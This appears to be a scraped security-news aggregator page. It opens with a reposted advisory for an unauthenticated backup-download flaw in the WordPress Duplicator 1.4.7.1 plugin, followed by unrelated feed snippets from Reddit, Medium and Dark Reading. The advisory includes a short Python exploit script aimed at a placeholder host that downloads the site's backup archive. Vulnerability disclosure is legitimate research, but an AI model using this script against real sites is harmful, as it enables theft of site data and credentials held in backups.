Exploit Collector
WordPress Duplicator 1.4.7.1 Backup Disclosure

https://4.bp.blogspot.com/-yT3eHciMBDw/WWlvGfUXh9I/AAAAAAAAILU/lYidSj08G0suEfC69x80tZFrj-NYN5F9wCLcBGAs/s1600/h137.png
WordPress Duplicator plugin version 1.4.7.1 suffers from a backup disclosure vulnerability.

SHA-256 | 8c02cb423eea46b383d67be17314d3d5a18adc9b995ddc621d23b0a2589b797a

Download
## Title: WordPress Plugin Duplicator 1.4.7.1 - Unauthenticated Backup Download
## Author: nu11secur1ty
## Date: 08.08.2022
## Vendor: https://wordpress.org/
## Software: https://wordpress.org/plugins/duplicator/
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Duplicator%20%E2%80%93%20WordPress-Migration-Plugin/1.4.7.1
## Description:
The WordPress Plugin Duplicator 1.4.7.1 suffers from Unauthenticated
Backup Download, after an update from the 1.4.7 version.
The attacker can download all archive information from the system by
using this vulnerability!

Status: CRITICAL

[+] Exploit:

```python
#!/usr/bin/python
# Author nu11secur1ty
import requests
import time

vulnerableURL = "http://pwned_host.com/wordpress/wp-content/backups-dup-lite/"
archive=input("Give the name of the archive...\n")
response = requests.get(vulnerableURL)
time.sleep(5)
open(archive, "wb").write(response.content)
print("Right now, you just downloaded the secret archive =)\n")

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Duplicator%20%E2%80%93%20WordPress-Migration-Plugin/1.4.7.1)

## Proof and Exploit:
[href](https://streamable.com/ee11bg)
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http:

Source:packetstormsecurity.com

The Grant Bounty

We are thrilled to introduce the Grant Bounty as part of our V2 initiative to invite all players of Web3 to get involved in security. The…Continue reading on Medium »
Read more...

How do intelligence services like Constella operate?
https://www.reddit.com/r/redteamsec/comments/wjcw6u/how_do_intelligence_services_like_constella/

I was reading a cybersecurity blog and noticed the author often cited data from services like https://constellaintelligence.com/ or https://intel471.com/ in his analysis. They seemed really cool so I went to check them out, but there is just a "Request a Demo" button and a contact form, no pricing or anything. Does anyone here use services like those? Can anyone buy it or do you need to be some security professional working for a company? How much do you think they cost? submitted by /u/Aeoroglyph (https://www.reddit.com/user/Aeoroglyph)
[link] (https://www.reddit.com/r/redteamsec/comments/wjcw6u/how_do_intelligence_services_like_constella/) [comments] (https://www.reddit.com/r/redteamsec/comments/wjcw6u/how_do_intelligence_services_like_constella/)

___________________________
@hacking_Attack
@Hacking_Video

The Grant Bounty
https://hatsfinance.medium.com/the-grant-bounty-e04a3bc890c7?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

We are thrilled to introduce the Grant Bounty as part of our V2 initiative to invite all players of Web3 to get involved in security. The…Continue reading on Medium » (https://hatsfinance.medium.com/the-grant-bounty-e04a3bc890c7?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
10 Malicious Code Packages Slither into PyPI Registry

The discovery adds to the growing list of recent incidents where threat actors have used public code repositories to distribute malware in software supply chain attacks.

Dark Reading: Attacks/Breaches
Dark Reading News Desk: Live at Black Hat USA 2022

LIVE: Dark Reading News Desk at Black Hat USA 2022

Hacking on Medium
North Korean Hackers Use Phony Coinbase Job Offers to Target Cryptocurrency Professionals

https://cdn-images-1.medium.com/max/1200/1*hTQrZ6UL38vYyLQkFwh-6g.jpeg
The renowned North Korean hacking outfit Lazarus has uncovered a new social engineering scheme in which the hackers pose as Coinbase to…

Continue reading on Medium »

Hacking on Medium
Tryhackme — Hydra Walkthrough

https://cdn-images-1.medium.com/max/1917/1*98CHtpbkDX1uwI2dVzR52w.png
TASK 1

Continue reading on Medium »

Hacking on Medium
Ethernaut Level 6 — Delegation

The Ethernaut is a Web3/Solidity based wargame inspired on overthewire.org. Here’s the solution to the Level 5 Token.

Continue reading on Medium »

https://preview.redd.it/ltxli5upwjg91.jpg?width=640&crop=smart&auto=webp&s=553cb442a8d658ed304a45a83df3428a2b19e67e submitted by /u/nihilistmalware
[link] [comments]

Deep Web
Hello does anybody know any websites on the deep web that has supernatural videos about ghosts or any other magical shit?

submitted by /u/LifeStoryTelling
[link] [comments]

Hacking on Medium
Malicious PDF Analysis, steel1.pdf

https://cdn-images-1.medium.com/max/1280/1*Ehue7sfinP-0XibsPogt6g.jpeg
After unzipping steel.zip we are greeted with steel1.pdf, steel2.pdf, and steel.saz

Continue reading on Medium »

Hacking on Medium
Ciberdelincuentes explotan vulnerabilidad de Twitter para exponer 5,4 millones de cuentas

https://cdn-images-1.medium.com/max/1545/0*ojHgrUIZMXhWq3WR
PUBLICADO EN 8 AGOSTO, 2022POR EHACKING

Continue reading on Medium »

hacking: security in practice
How to contact ISP?

This might be a horrible idea, but my friend and I have been talking about my hacking career, I am a cybersecurity major, currently taking an Ethical Hacking class, I wanted to practice and my friend has given me verbal permission, he will also be giving me written permission. I do not want to get in trouble with my ISP, is there a way I can contact them to see if they will allow me to do this? Or should I just avoid this entirely?

​

EDIT: I guess I should clerify, I do not want to destory his system or steal anything, and this will be written on the scope we create. I just want to attempt to get into his computer and practice my skills in finding information he will hide for me and delting footptints.

submitted by /u/DCornOnline
[link] [comments]